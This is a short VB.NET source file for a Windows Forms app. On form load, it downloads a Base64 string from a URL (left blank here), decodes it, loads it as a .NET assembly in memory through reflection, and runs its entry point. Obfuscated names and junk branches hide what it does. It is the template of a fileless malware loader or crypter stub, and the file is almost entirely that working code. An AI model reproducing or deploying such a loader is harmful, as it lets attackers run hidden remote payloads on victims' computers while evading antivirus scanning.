Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim HVR As New Class1
        Dim ee As Object = HVR.ss
        Dim hv As Object = Reflection.Assembly.Load(ee).entrypoint
        Dim gd As String = "x--r"
        If PictureBox1.Cursor = Cursors.Hand Then
            Dim abc As Object = hv.invoke("", Nothing)
        Else
            Dim abc As Object = hv.invoke("nothing".Replace("x--r", "nothing"), Nothing)
        End If
    End Sub
End Class
------------------------------------
Public Class Class1
    Protected vv As New Net.WebClient
    Public aa As String = vv.DownloadString("")
    Public ss As Byte() = Convert.FromBase64String(aa)
End Class